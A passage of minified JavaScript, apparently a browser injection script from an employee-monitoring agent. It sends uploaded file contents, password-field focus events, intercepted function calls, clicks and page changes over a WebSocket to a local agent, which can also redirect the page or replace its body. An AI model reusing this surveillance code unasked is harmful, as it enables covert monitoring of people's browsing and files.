  788.                    var a, o, s = n.en, i = s.parser.pre(e), u = 0, d = /(MMMM?|A)|(YYYY)|(SSS)|(MM|DD|HH|hh|mm|ss)|(YY|M|D|H|h|m|s|SS)|(S)|(.)/g, c = {
  789.                        2: /^\d{1,4}/,
  790.                        3: /^\d{1,3}/,
  791.                        4: /^\d\d/,
  792.                        5: /^\d\d?/,
  793.                        6: /^\d/
  794.                    };
  795.                    e = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31];
  796.                    for (var M = {
  797.                        Y: 1970,
  798.                        M: 1,
  799.                        D: 1,
  800.                        H: 0,
  801.                        m: 0,
  802.                        s: 0,
  803.                        S: 0
  804.                    }; a = d.exec(Y); ) {
  805.                        var l = 0
  806.                          , f = 1;
  807.                        for (o = ""; !o; )
  808.                            o = a[++l];
  809.                        a = o.charAt(0);
  810.                        var D = i.slice(u);
  811.                        if (2 > l) {
  812.                            var p = s.parser[o].call(s, D, Y);
  813.                            M[a] = p.index,
  814.                            "M" === a && M[a]++,
  815.                            f = p.length
  816.                        } else if (7 > l)
  817.                            p = (D.match(c[l]) || [""])[0],
  818.                            M[a] = 0 | ("S" === a ? (p + "000").slice(0, -o.length) : p),
  819.                            f = p.length;
  820.                        else if (" " !== a && a !== D[0])
  821.                            return NaN;
  822.                        if (!f)
  823.                            return NaN;
  824.                        u += f
  825.                    }
  826.                    return u === i.length && p ? (M.Y += 70 > M.Y ? 2e3 : 100 > M.Y ? 1900 : 0,
  827.                    M.H = M.H || s.parser.h(M.h || 0, M.A || 0),
  828.                    Y = new Date(M.Y,M.M - 1,M.D,M.H,M.m,M.s,M.S),
  829.                    e[1] += 0 | t.isLeapYear(Y),
  830.                    1 > M.M || 12 < M.M || 1 > M.D || M.D > e[M.M - 1] || 23 < M.H || 59 < M.m || 59 < M.s ? NaN : r ? t.addMinutes(Y, -Y.getTimezoneOffset()) : Y) : NaN
  831.                }
  832.                ,
  833.                t.isValid = function(e, n) {
  834.                    return !!t.parse(e, n)
  835.                }
  836.                ,
  837.                t.addYears = function(e, n) {
  838.                    return t.addMonths(e, 12 * n)
  839.                }
  840.                ,
  841.                t.addMonths = function(e, t) {
  842.                    var n = new Date(e.getTime());
  843.                    return n.setMonth(n.getMonth() + t),
  844.                    n
  845.                }
  846.                ,
  847.                t.addDays = function(e, t) {
  848.                    var n = new Date(e.getTime());
  849.                    return n.setDate(n.getDate() + t),
  850.                    n
  851.                }
  852.                ,
  853.                t.addHours = function(e, n) {
  854.                    return t.addMilliseconds(e, 36e5 * n)
  855.                }
  856.                ,
  857.                t.addMinutes = function(e, n) {
  858.                    return t.addMilliseconds(e, 6e4 * n)
  859.                }
  860.                ,
  861.                t.addSeconds = function(e, n) {
  862.                    return t.addMilliseconds(e, 1e3 * n)
  863.                }
  864.                ,
  865.                t.addMilliseconds = function(e, t) {
  866.                    return new Date(e.getTime() + t)
  867.                }
  868.                ,
  869.                t.subtract = function(e, t) {
  870.                    var n = e.getTime() - t.getTime();
  871.                    return {
  872.                        toMilliseconds: function() {
  873.                            return n
  874.                        },
  875.                        toSeconds: function() {
  876.                            return n / 1e3 | 0
  877.                        },
  878.                        toMinutes: function() {
  879.                            return n / 6e4 | 0
  880.                        },
  881.                        toHours: function() {
  882.                            return n / 36e5 | 0
  883.                        },
  884.                        toDays: function() {
  885.                            return n / 864e5 | 0
  886.                        }
  887.                    }
  888.                }
  889.                ,
  890.                t.isLeapYear = function(e) {
  891.                    return !(((e = e.getFullYear()) % 4 || !(e % 100)) && e % 400)
  892.                }
  893.                ,
  894.                t.isSameDay = function(e, n) {
  895.                    return t.format(e, "YYYYMMDD") === t.format(n, "YYYYMMDD")
  896.                }
  897.                ,
  898.                e.date = t;
  899.                const b = new Map;
  900.                function N(e) {
  901.                    const t = "tm_overlay"
  902.                      , n = 10485760;
  903.                    let Y = function() {
  904.                        let e = document.getElementById(t);
  905.                        e && e.remove(),
  906.                        b.clear()
  907.                    };
  908.                    if (e) {
  909.                        const r = new FileReader;
  910.                        let a;
  911.                        e.size > n && (a = e.slice(0, n));
  912.                        let o = !1;
  913.                        if (b.forEach(t => {
  914.                            t.fileName === e.name && (o = !0)
  915.                        }
  916.                        ),
  917.                        !o) {
  918.                            r.addEventListener("load", t => {
  919.                                try {
  920.                                    const t = crypto.randomUUID();
  921.                                    b.set(t, {
  922.                                        responseCallback: e => {
  923.                                            e.block && function() {
  924.                                                const e = []
  925.                                                  , t = t => {
  926.                                                    t.querySelectorAll('button:not([tabindex="-1"])').forEach(t => {
  927.                                                        t.querySelector('span[data-icon="x"]') && (e.push(t),
  928.                                                        t.click())
  929.                                                    }
  930.                                                    )
  931.                                                }
  932.                                                  , n = new MutationObserver( (n, Y) => {
  933.                                                    n.forEach(e => {
  934.                                                        "childList" === e.type && e.addedNodes.length > 0 && e.addedNodes.forEach(e => {
  935.                                                            e.nodeType === Node.ELEMENT_NODE && t(e)
  936.                                                        }
  937.                                                        )
  938.                                                    }
  939.                                                    ),
  940.                                                    e.length > 0 && Y.disconnect()
  941.                                                }
  942.                                                );
  943.                                                n.observe(document.body, {
  944.                                                    childList: !0,
  945.                                                    subtree: !0
  946.                                                }),
  947.                                                t(document),
  948.                                                e.length > 0 && n.disconnect()
  949.                                            }(),
  950.                                            Y()
  951.                                        }
  952.                                        ,
  953.                                        fileName: e.name
  954.                                    }),
  955.                                    setTimeout( () => {
  956.                                        b.has(t) && (b.delete(t),
  957.                                        Y())
  958.                                    }
  959.                                    , 2e3),
  960.                                    B.send(JSON.stringify({
  961.                                        requestId: t,
  962.                                        type: "waptransfer",
  963.                                        direction: "upload",
  964.                                        filename: e.name,
  965.                                        filesize: e.size,
  966.                                        filetype: e.type,
  967.                                        url: document.URL,
  968.                                        filehash: "0",
  969.                                        process: w.pn,
  970.                                        content: S(r.result)
  971.                                    }))
  972.                                } catch (e) {
  973.                                    Y()
  974.                                }
  975.                            }
  976.                            ),
  977.                            r.addEventListener("error", e => {
  978.                                Y()
  979.                            }
  980.                            ),
  981.                            r.addEventListener("abort", e => {
  982.                                Y()
  983.                            }
  984.                            ),
  985.                            function() {
  986.                                if (!document.getElementById(t)) {
  987.                                    let e = document.createElement("div");
  988.                                    e.id = t,
  989.                                    e.style.cssText = "background:rgba(0, 0, 0, .6);position:absolute;top:0;left:0;height:100%;width:100%;z-index:999",
  990.                                    document.body.appendChild(e)
  991.                                }
  992.                            }();
  993.                            try {
  994.                                null == a ? r.readAsArrayBuffer(e) : r.readAsArrayBuffer(a)
  995.                            } catch (e) {
  996.                                Y()
  997.                            }
  998.                        }
  999.                    }
  1000.                }
  1001.                function E(e) {
  1002.                    var t = {
  1003.                        handler: "log",
  1004.                        module: "wapjs",
  1005.                        url: "wap",
  1006.                        message: e
  1007.                    };
  1008.                    B.send(JSON.stringify(t))
  1009.                }
  1010.                function A(e) {
  1011.                    var t = {
  1012.                        name: e.data.name,
  1013.                        type: e.data.type
  1014.                    };
  1015.                    "iframePasswordInputFocused" === e.data.message ? c(t, !0) : "iframePasswordInputBlurred" === e.data.message && M(t, !0)
  1016.                }
  1017.                var w = {
  1018.                    token: "6e3aeb9a-3a9d-451e-923f-2d4160014438",
  1019.                    sendNotificationsInterval: Number("1000"),
  1020.                    pollWhatsappTrackingInterval: Number("20000"),
  1021.                    connectionString: "wss://tm.filter:1502",
  1022.                    pid: "12032",
  1023.                    pn: "chrome.exe",
  1024.                    iup: false,
  1025.                    dontTrackWebPasswords: false,
  1026.                    extJs: /*   * don't use double slash comments here as this will be stored in one line for the TMU migrations   *    * this is stored in the kv_store table for the key hm_websites_js   *    * all code should describe one javascript object, i.e. { bla-bla-bla }   *    * this object will be included in standard js injection code as a replacement of 'insight_placeholder'   * if domain of the page matches one of the domain regexes from the hypermonitoring_web settings   * if not, 'insight_placeholder' will be replaced with null   *    * this object must contain function init(token), it will be called only once when document became visible (it is called for every iframe too)   *    * also this code contains placeholdes, see doc in the code (search for `_placeholder` suffix)   *    * also this object must contain property webSock that will be assigned WebSocket when created   *    * this object should send json for every registered event with the following structure:   * {   *      cat: 'insight' - this is required to route the message to the proper handler   *      type: click | changed - type of the event   *      elm: uint32 - id of the element that fired the event. used for deduplication of the events   *      page: uint32 - id of the hypermonitored location   *      obj: uint32 - id of the hypermonitored object that fired event   *      url: string - current document url   *      token: string - js injection token, used to unique identify browser page   *      values: json - contains all collected information about event and it's context   *      proc: id of the process of the host electron   * }   */
  1027.                    {
  1028.                        /* this will be replaced with the rules for current domain       * [        *      {          *          id: locationId,        *          url: string | null,        *          objects:        *          [       *              {        *                  id: objectId,        *                  sources: [],       *                  ...       *              },       *              ...       *          ]        *      },       *      ...       * ]       */
  1029.                        pages: [],
  1030.                        /* required property for electron */
  1031.                        proc: null,
  1032.                        /* required property - will be assigned to WebSocket once it will be read */
  1033.                        webSock: null,
  1034.                        pendingPackets: [],
  1035.                        webSockReady: function() {
  1036.                            return this.webSock !== null && this.webSock.readyState === WebSocket.OPEN;
  1037.                        },
  1038.                        processPacket: function(t) {
  1039.                            if (!this.webSockReady())
  1040.                                this.pendingPackets.push(t);
  1041.                            else {
  1042.                                this.sendPendingPackets();
  1043.                                this.webSock.send(t);
  1044.                            }
  1045.                        },
  1046.                        sendPendingPackets: function() {
  1047.                            if (this.webSockReady() && this.pendingPackets.length > 0) {
  1048.                                for (var i = 0; i < this.pendingPackets.length; ++i)
  1049.                                    this.webSock.send(this.pendingPackets[i]);
  1050.                                this.pendingPackets = [];
  1051.                            }
  1052.                        },
  1053.                        /* store js injection token */
  1054.                        token: null,
  1055.                        /* should we send log messages to the agent, bool */
  1056.                        sendLog: false,
  1057.                        /* should we include all content of the htmlelements in the log messages, bool */
  1058.                        sendLogFullData: false,
  1059.                        /* should we log snapshots of the html after every mutation event */
  1060.                        sendLogSnapshots: false,
  1061.                        /* should we catch exceptions and log them (as opposed to let browser stops in debugger) */
  1062.                        sendLogExceptions: true,
  1063.                        /*       * required function - it will be called once when document became visible       * it will be also called for iframes       *           * argument token - js injection token       */
  1064.                        init: function(token) {
  1065.                            this.token = token;
  1066.                            this.log("init: token:" + token + " sendLog:" + this.sendLog + " sendLogFullData:" + this.sendLogFullData);
  1067.                            if (document.readyState === "interactive" || document.readyState === "complete")
  1068.                                this.attachEvents();
  1069.                            else
  1070.                                window.addEventListener("DOMContentLoaded", this.attachEvents.bind(this));
  1071.                            setInterval(this.sendPendingPackets.bind(this), 1000);
  1072.                        },
  1073.                        /*       * here we scan all provided settings and choose what listeners are required       * we don't want to intrude in the js more that necessary for performance and compatibility considerations       */
  1074.                        attachEvents: function() {
  1075.                            var needClick = false
  1076.                              , needChange = false
  1077.                              , needChildList = this.sendLogSnapshots
  1078.                              , needCharacterData = this.sendLogSnapshots
  1079.                              , callObjects = [];
  1080.                            this.pages.forEach(function(page) {
  1081.                                page.objects.forEach(function(obj) {
  1082.                                    ['addText', 'removeText', 'addElm', 'removeElm', 'stateByElm'].forEach(function(source) {
  1083.                                        if (obj.sources.includes(source))
  1084.                                            needChildList = true;
  1085.                                    });
  1086.                                    if (obj.sources.includes('changeText'))
  1087.                                        needCharacterData = true;
  1088.                                    if (obj.sources.includes('change'))
  1089.                                        needChange = true;
  1090.                                    if (obj.sources.includes('click'))
  1091.                                        needClick = true;
  1092.                                    if (obj.sources.includes('call'))
  1093.                                        callObjects.push({
  1094.                                            page: page,
  1095.                                            obj: obj
  1096.                                        });
  1097.                                });
  1098.                            });
  1099.                            this.log("attachEvents: needClick:" + needClick + " needChange:" + needChange + " needChildList:" + needChildList + " needCharacterData:" + needCharacterData);
  1100.                            if (needClick)
  1101.                                window.addEventListener('click', this.onEvent.bind(this), true);
  1102.                            if (needChange)
  1103.                                window.addEventListener('change', this.onEvent.bind(this), true);
  1104.                            if (needChildList || needCharacterData)
  1105.                                new MutationObserver(this.onMutation.bind(this)).observe(document, {
  1106.                                    subtree: true,
  1107.                                    childList: needChildList,
  1108.                                    characterData: needCharacterData
  1109.                                });
  1110.                            if (needClick || needChange || needChildList || needCharacterData) {
  1111.                                /* we process mutation events only after human interaction */
  1112.                                window.addEventListener('keydown', this.onInteraction.bind(this));
  1113.                                window.addEventListener('mousedown', this.onInteraction.bind(this));
  1114.                            }
  1115.                            if (callObjects.length > 0) {
  1116.                                var self = this;
  1117.                                var intervalHandle = setInterval(function() {
  1118.                                    for (var i = callObjects.length - 1; i >= 0; i--) {
  1119.                                        if (self.interceptCall(callObjects[i]))
  1120.                                            callObjects.splice(i, 1);
  1121.                                    }
  1122.                                    if (callObjects.length == 0)
  1123.                                        clearInterval(intervalHandle);
  1124.                                }, 500);
  1125.                            }
  1126.                        },
  1127.                        interceptCall: function(callObj) {
  1128.                            var obj = callObj.obj, jsObj;
  1129.                            try {
  1130.                                jsObj = this.calc(obj, "object", [], []);
  1131.                            } catch {}
  1132.                            if (jsObj == null) {
  1133.                                this.log("attachEvents: object:" + obj.id + " is not found");
  1134.                                return false;
  1135.                            }
  1136.                            var method = jsObj[obj.func];
  1137.                            var self = this;
  1138.                            jsObj[obj.func] = function() {
  1139.                                var arg_data = self.calc(obj, "arg_data", ["args"], [arguments], "return null");
  1140.                                var ret = method.apply(jsObj, arguments);
  1141.                                var return_data = self.calc(obj, "return_data", ["ret"], [ret], "return null");
  1142.                                if (arg_data != null || return_data != null)
  1143.                                    self.sendEvent("interceptCall", callObj.page, obj, undefined, {
  1144.                                        arg_data: arg_data,
  1145.                                        return_data: return_data
  1146.                                    });
  1147.                                return ret;
  1148.                            }
  1149.                            ;
  1150.                            self.log("attachEvents: object:" + obj.id + ", " + (obj.object || obj.object_f) + " is found, call to '" + obj.func + "' intercepted");
  1151.                            return true;
  1152.                        },
  1153.                        /* new Date().getTime() of the last human interacion (keydown, mousedown, mouseup)      to filter out DOM mutation events that was not due to human activity */
  1154.                        lastInteraction: null,
  1155.                        /* on human interaction (keydown, mousedown, mouseup) */
  1156.                        onInteraction: function(ev) {
  1157.                            this.lastInteraction = new Date().getTime();
  1158.                            this.log('onInteraction: human Interaction ' + ev.type + ': ' + this.lastInteraction);
  1159.                        },
  1160.                        /* handles click and change events */
  1161.                        onEvent: function(ev) {
  1162.                            var self = this;
  1163.                            this.callSafe("onEvent", function() {
  1164.                                self.handleEvent(ev.type, ev.type, ev.composed ? ev.composedPath() : self.getAncestors(ev.target));
  1165.                            });
  1166.                        },
  1167.                        /* handles addText, changeText, removeText, addElm, removeElm DOM mutation events */
  1168.                        onMutation: function(mList) {
  1169.                            var self = this;
  1170.                            if (this.sendLogSnapshots)
  1171.                                this.log("snapshot: " + document.body.outerHTML.replace(/\n|\r/g, '#'));
  1172.                            this.callSafe("onMutation", function() {
  1173.                                if (self.lastInteraction !== null) {
  1174.                                    mList.forEach(function(m) {
  1175.                                        if (m.type === 'childList') {
  1176.                                            m.removedNodes.forEach(function(sub) {
  1177.                                                if (sub.nodeType === Node.TEXT_NODE)
  1178.                                                    self.handleEvent('change', 'removeText', self.getAncestors(m.target));
  1179.                                                else if (sub.nodeType === Node.ELEMENT_NODE)
  1180.                                                    self.handleEventWithSub('change', 'removeElm', self.getAncestors(m.target), sub);
  1181.                                            });
  1182.                                            m.addedNodes.forEach(function(sub) {
  1183.                                                if (sub.nodeType === Node.TEXT_NODE)
  1184.                                                    self.handleEvent('change', 'addText', self.getAncestors(m.target));
  1185.                                                else if (sub.nodeType === Node.ELEMENT_NODE)
  1186.                                                    self.handleEventWithSub('change', 'addElm', self.getAncestors(m.target), sub);
  1187.                                            });
  1188.                                        } else if (m.type === 'characterData' && m.target)
  1189.                                            self.handleEvent('change', 'changeText', self.getAncestors(m.target));
  1190.                                    });
  1191.                                }
  1192.                                self.processStateByElm();
  1193.                            });
  1194.                        },
  1195.                        objId2key2value: {},
  1196.                        processStateByElm: function() {
  1197.                            var self = this;
  1198.                            self.forEachObject('stateByElm', function(page, obj) {
  1199.                                var key2value = {};
  1200.                                if (self.calc(obj, 'condition', [], [], "return true;")) {
  1201.                                    self.applySelector(document, obj.selector).forEach(function(elm) {
  1202.                                        var key = self.calc(obj, 'key', ['e'], [elm]);
  1203.                                        var value = self.calc(obj, 'value', ['e'], [elm]);
  1204.                                        key2value[JSON.stringify(key)] = JSON.stringify(value);
  1205.                                    });
  1206.                                }
  1207.                                var oldKey2Value = self.objId2key2value[obj.id];
  1208.                                oldKey2Value = oldKey2Value ? oldKey2Value : {};
  1209.                                for (var k in key2value) {
  1210.                                    if (key2value[k] !== oldKey2Value[k])
  1211.                                        self.sendEvent('change', page, obj, undefined, {
  1212.                                            key: JSON.parse(k),
  1213.                                            old: oldKey2Value[k] ? JSON.parse(oldKey2Value[k]) : undefined,
  1214.                                            "new": JSON.parse(key2value[k])
  1215.                                        });
  1216.                                    delete oldKey2Value[k];
  1217.                                }
  1218.                                for (var k in oldKey2Value)
  1219.                                    self.sendEvent('change', page, obj, undefined, {
  1220.                                        key: JSON.parse(k),
  1221.                                        old: oldKey2Value[k] ? JSON.parse(oldKey2Value[k]) : undefined
  1222.                                    });
  1223.                                self.objId2key2value[obj.id] = key2value;
  1224.                            });
  1225.                        },
  1226.                        /* get ancestors for the element */
  1227.                        getAncestors: function(e) {
  1228.                            var path = [];
  1229.                            for (; e !== document && e !== null; e = e.parentNode)
  1230.                                path.push(e);
  1231.                            return path;
  1232.                        },
  1233.                        /* handles simple events: click, change, addText, changeText, removeText */
  1234.                        handleEvent: function(type, source, ancestors) {
  1235.                            if (this.sendLog)
  1236.                                /* double check not to call elementString in vain */
  1237.                                this.log("handleEvent: type:" + type + " source:" + source + " target:" + this.elementString(ancestors[0]));
  1238.                            var self = this;
  1239.                            this.forEachMatch(source, ancestors, function(page, obj, elm) {
  1240.                                self.send(type, page, obj, ancestors[0], elm);
  1241.                            });
  1242.                        },
  1243.                        /* handles events with sub element: addElm, removeElm */
  1244.                        handleEventWithSub: function(type, source, ancestors, sub) {
  1245.                            if (this.sendLog)
  1246.                                /* double check not to call elementString in vain */
  1247.                                this.log("handleEventWithSub: type:" + type + " source:" + source + " target:" + this.elementString(ancestors[0]) + " sub:" + this.elementString(sub));
  1248.                            var self = this;
  1249.                            this.forEachMatch(source, ancestors, function(page, obj, elm) {
  1250.                                if (!obj.sub_matches || sub.matches(obj.sub_matches)) {
  1251.                                    if (obj.sub_selector) {
  1252.                                        self.applySelector(sub, obj.sub_selector).forEach(function(descendant) {
  1253.                                            self.send(type, page, obj, ancestors[0], elm, sub, descendant);
  1254.                                        });
  1255.                                    } else {
  1256.                                        self.send(type, page, obj, ancestors[0], elm, sub);
  1257.                                    }
  1258.                                }
  1259.                            });
  1260.                        },
  1261.                        /* enumerate all obj based on url and source. calls handler(page, obj) */
  1262.                        forEachObject: function(source, handler) {
  1263.                            var self = this;
  1264.                            this.pages.forEach(function(page) {
  1265.                                if (self.testRegex(page.url, document.URL)) {
  1266.                                    page.objects.forEach(function(obj) {
  1267.                                        if (obj.sources.includes(source))
  1268.                                            handler(page, obj);
  1269.                                    });
  1270.                                }
  1271.                            });
  1272.                        },
  1273.                        /* enumerate all matches based on url, source and interactionInterval, matches and selector. calls handler(page, obj, matchedElm) */
  1274.                        forEachMatch: function(source, ancestors, handler) {
  1275.                            var self = this;
  1276.                            this.forEachObject(source, function(page, obj) {
  1277.                                if (obj.interactionInterval && (self.lastInteraction == null || new Date().getTime() - self.lastInteraction > obj.interactionInterval)) {
  1278.                                    if (self.lastInteraction != null)
  1279.                                        self.log('forEachMatch skip rule: interval:' + (new Date().getTime() - self.lastInteraction).toString());
  1280.                                } else {
  1281.                                    var scope = obj.scope === 'target' ? [ancestors[0]] : ancestors
  1282.                                      , m = obj.matches
  1283.                                      , set = !m && obj.selector ? self.applySelector(document, obj.selector) : null;
  1284.                                    for (var i = 0; i < scope.length; ++i) {
  1285.                                        if ((m && scope[i].matches && scope[i].matches(m))/* scope[i] may not be element, test if matches is defined */
  1286.                                        || (set && set.includes(scope[i]))) {
  1287.                                            handler(page, obj, scope[i]);
  1288.                                            break;
  1289.                                        }
  1290.                                    }
  1291.                                }
  1292.                            });
  1293.                        },
  1294.                        /* return array of elements after applying commands from the selector settings */
  1295.                        applySelector: function(root, commands) {
  1296.                            const self = this;
  1297.                            var elms = [root];
  1298.                            commands.forEach(function(command) {
  1299.                                var res = [];
  1300.                                elms.forEach(function(elm) {
  1301.                                    if (command.test_text) {
  1302.                                        /* test_text command keeps only elements whose text matches regex */
  1303.                                        if (self.testRegex(command.test_text, elm.textContent))
  1304.                                            res.push(elm);
  1305.                                    } else if (command.move) {
  1306.                                        /* move command transforms element into querySelectorAll set and select shadowRoot if present */
  1307.                                        elm.querySelectorAll(':scope ' + command.move).forEach(function(e) {
  1308.                                            var s = e.shadowRoot;
  1309.                                            res.push(s ? s : e);
  1310.                                        });
  1311.                                    } else if (command.exists) {
  1312.                                        /* exists command keeps only elements for which selector set is not empty */
  1313.                                        if (self.applySelector(elm, command.exists).length !== 0)
  1314.                                            res.push(elm);
  1315.                                    }
  1316.                                });
  1317.                                elms = res;
  1318.                            });
  1319.                            return elms;
  1320.                        },
  1321.                        /* send event data to websocket, data structure:       * {       *      cat: 'insight' - this is required to route the message to the proper handler       *      type: click | changed - type of the event       *      elm: uint32 - id of the element that fired the event. used for deduplication of the events       *      page: uint32 - id of the hypermonitored location       *      obj: uint32 - id of the hypermonitored object that fired event       *      url: string - current document url       *      token: string - js injection token, used to unique identify browser page       *      values: json - contains all collected information about event and it's context       * }       */
  1322.                        lastSentElm: null,
  1323.                        lastSentElmId: 0,
  1324.                        send: function(type, page, obj, target, e, sub, descendant) {
  1325.                            if (this.lastSentElm !== e) {
  1326.                                this.lastSentElm = e;
  1327.                                this.lastSentElmId++;
  1328.                            }
  1329.                            const values = this.calc(obj, 'values', ['target', 'e', 'sub', 'descendant'], [target, e, sub, descendant]);
  1330.                            if (values)
  1331.                                this.sendEvent(type, page, obj, this.lastSentElmId.toString(), values);
  1332.                        },
  1333.                        sendEvent: function(type, page, obj, elmId, values) {
  1334.                            const t = JSON.stringify({
  1335.                                values: values,
  1336.                                handler: page.handler,
  1337.                                type: type,
  1338.                                elm: elmId,
  1339.                                page: page.id,
  1340.                                obj: obj.id,
  1341.                                url: document.URL,
  1342.                                token: this.token,
  1343.                                proc: this.proc
  1344.                            });
  1345.                            if (this.sendLog)
  1346.                                console.log("[InsightJs] send: " + t);
  1347.                            this.processPacket(t);
  1348.                        },
  1349.                        /* utils: cache compiled regexes */
  1350.                        string2regex: {},
  1351.                        testRegex: function(stringRegex, value) {
  1352.                            if (stringRegex === null)
  1353.                                return true;
  1354.                            if (!(stringRegex in this.string2regex))
  1355.                                this.string2regex[stringRegex] = new RegExp(stringRegex);
  1356.                            return this.string2regex[stringRegex].test(value);
  1357.                        },
  1358.                        /* utils: cache compiled functions */
  1359.                        code2function: {},
  1360.                        calc: function(host, prop, names, args, defaultCode) {
  1361.                            var code = host[prop] ? "return " + host[prop] + ";" : host[prop + "_f"];
  1362.                            if (code == null)
  1363.                                code = defaultCode;
  1364.                            if (code == null) {
  1365.                                this.log("code not found, calc(" + JSON.stringify(host) + "), prop:" + prop);
  1366.                                return {};
  1367.                            }
  1368.                            if (!(code in this.code2function))
  1369.                                this.code2function[code] = new Function(...names,code);
  1370.                            return this.code2function[code].apply(null, args);
  1371.                        },
  1372.                        /* utils: dump html element to the log */
  1373.                        elementString: function(e) {
  1374.                            var html = e.nodeType == Node.TEXT_NODE ? e.data : e.outerHTML;
  1375.                            if (this.sendLogFullData)
  1376.                                return html;
  1377.                            html = html.length > 100 ? html.substr(0, 100) + " ... total len:" + html.length : html;
  1378.                            return html.replace(/\n|\r/g, '#');
  1379.                        },
  1380.                        /* log to console and to the agent */
  1381.                        log: function(message, force) {
  1382.                            if (this.sendLog || force) {
  1383.                                var m = new Date().toLocaleString() + ": " + message;
  1384.                                console.log("[InsightJs] " + m + ", url:" + document.URL);
  1385.                                this.processPacket(JSON.stringify({
  1386.                                    handler: "log",
  1387.                                    module: "InsightJs",
  1388.                                    message: m,
  1389.                                    url: document.URL
  1390.                                }));
  1391.                            }
  1392.                        },
  1393.                        callSafe: function(name, f) {
  1394.                            if (!this.sendLogExceptions)
  1395.                                f();
  1396.                            else {
  1397.                                try {
  1398.                                    f()
  1399.                                } catch (e) {
  1400.                                    this.log("exception in " + name + ":" + e.name + ", " + e.message, true);
  1401.                                }
  1402.                            }
  1403.                        }
  1404.                    }
  1405.                }
  1406.                  , L = 6e4
  1407.                  , T = null
  1408.                  , I = null
  1409.                  , k = null
  1410.                  , C = null
  1411.                  , O = !1
  1412.                  , H = null
  1413.                  , P = null
  1414.                  , R = 0
  1415.                  , x = null
  1416.                  , B = null
  1417.                  , _ = ""
  1418.                  , F = !1;
  1419.                !function e(t) {
  1420.                    m() ? setTimeout(function() {
  1421.                        e(t)
  1422.                    }, 1e3) : t()
  1423.                }(function() {
  1424.                    w.extJs && w.extJs.init(w.token),
  1425.                    Y() && (window.addEventListener("focus", r, !0),
  1426.                    w.dontTrackWebPasswords && window.addEventListener("message", A, !1)),
  1427.                    Y() || w.extJs ? p() : w.dontTrackWebPasswords && f()
  1428.                })
  1429.            }();
  1430.        </script>
  1431.        <script nonce="TFNQUvYHwdi8uHoMheRs/Q==">
  1432.            !function() {
  1433.                var e, t, Y;
  1434.                function n() {
  1435.                    try {
  1436.                        return window.self === window.top
  1437.                    } catch (e) {
  1438.                        return !1
  1439.                    }
  1440.                }
  1441.                function r() {
  1442.                    setTimeout((function() {
  1443.                        var e = {
  1444.                            type: "focus",
  1445.                            token: w.token,
  1446.                            title: document.title,
  1447.                            url: document.URL,
  1448.                            focused: document.hasFocus(),
  1449.                            useragent: navigator.userAgent,
  1450.                            pid: w.pid,
  1451.                            pn: w.pn
  1452.                        };
  1453.                        null != B && B.readyState == WebSocket.OPEN && B.send(JSON.stringify(e))
  1454.                    }
  1455.                    ), 0)
  1456.                }
  1457.                function a() {
  1458.                    var e = {
  1459.                        type: "notification",
  1460.                        token: w.token,
  1461.                        title: document.title,
  1462.                        url: document.URL,
  1463.                        focused: document.hasFocus(),
  1464.                        timeout: w.sendNotificationsInterval,
  1465.                        useragent: navigator.appVersion.length > navigator.userAgent.length ? navigator.appVersion : navigator.userAgent,
  1466.                        pid: w.pid,
  1467.                        pn: w.pn
  1468.                    };
  1469.                    B.send(JSON.stringify(e))
  1470.                }
  1471.                function s() {
  1472.                    y()
  1473.                }
  1474.                function i() {
  1475.                    n() && (clearInterval(I),
  1476.                    clearInterval(T)),
  1477.                    timeout = setTimeout((function() {
  1478.                        g()
  1479.                    }
  1480.                    ), L)
  1481.                }
  1482.                function o(e) {
  1483.                    if (n())
  1484.                        switch (e.data.substring(0, 1)) {
  1485.                        case "r":
  1486.                            window.location = e.data.substring(1);
  1487.                            break;
  1488.                        case "b":
  1489.                            document.body.innerHTML = e.data.substring(1);
  1490.                            break;
  1491.                        case "w":
  1492.                            var t = "true" == e.data.substring(1).toLowerCase();
  1493.                            O != t && t && v(),
  1494.                            O = t;
  1495.                            break;
  1496.                        case "x":
  1497.                            !function(e) {
  1498.                                try {
  1499.                                    const t = JSON.parse(e)
  1500.                                      , Y = b.get(t.requestId);
  1501.                                    if (Y) {
  1502.                                        b.delete(t.requestId);
  1503.                                        const {responseCallback: e, fileName: n} = Y;
  1504.                                        e(t, n)
  1505.                                    }
  1506.                                } catch (e) {
  1507.                                    unblockPage()
  1508.                                }
  1509.                            }(e.data.substring(1))
  1510.                        }
  1511.                }
  1512.                function u(e) {
  1513.                    var t = document.createElement("a");
  1514.                    return t.href = e,
  1515.                    t.href
  1516.                }
  1517.                function d(e) {
  1518.                    if (!e)
  1519.                        return !1;
  1520.                    if ("password" == e.type)
  1521.                        return !0;
  1522.                    if (e instanceof HTMLInputElement) {
  1523.                        var t = window.getComputedStyle(e);
  1524.                        if (t) {
  1525.                            var Y = t.getPropertyValue("-webkit-text-security");
  1526.                            return ["disc", "circle", "square"].includes(Y)
  1527.                        }
  1528.                    }
  1529.                    return !1
  1530.                }
  1531.                function c(e, t=!1) {
  1532.                    if (d(e) && !J)
  1533.                        if (J = !0,
  1534.                        n()) {
  1535.                            var Y = {
  1536.                                type: "password_input_focus",
  1537.                                focus: !0,
  1538.                                token: w.token
  1539.                            };
  1540.                            B.send(JSON.stringify(Y))
  1541.                        } else
  1542.                            window.top.postMessage({
  1543.                                message: "iframePasswordInputFocused",
  1544.                                name: e.name,
  1545.                                type: "password"
  1546.                            }, "*")
  1547.                }
  1548.                function M(e, t=!1) {
  1549.                    var Y = e && e.name ? e.name : "<unnamed>";
  1550.                    if (d(e) && J)
  1551.                        if (J = !1,
  1552.                        n()) {
  1553.                            var r = {
  1554.                                type: "password_input_focus",
  1555.                                focus: !1,
  1556.                                token: w.token
  1557.                            };
  1558.                            B.send(JSON.stringify(r))
  1559.                        } else
  1560.                            window.top.postMessage({
  1561.                                message: "iframePasswordInputBlurred",
  1562.                                name: Y,
  1563.                                type: "password"
  1564.                            }, "*")
  1565.                }
  1566.                function l(e) {
  1567.                    var t = document.activeElement;
  1568.                    t && t != document.body ? document.querySelector && (t = document.querySelector(":focus")) : t = null;
  1569.                    for (var Y = 0; Y < e.length; ++Y) {
  1570.                        let s = e[Y];
  1571.                        var n = d(s)
  1572.                          , r = n && s.hasAttribute("autofocus")
  1573.                          , a = n && t && s.isEqualNode(t);
  1574.                        (r || a) && c(s),
  1575.                        s.tmInputEventListenerAttached || (s.addEventListener("focus", (function(e) {
  1576.                            c(e.target)
  1577.                        }
  1578.                        ), !0),
  1579.                        s.addEventListener("blur", (function(e) {
  1580.                            M(e.target)
  1581.                        }
  1582.                        ), !0),
  1583.                        s.tmInputEventListenerAttached = !0)
  1584.                    }
  1585.                }
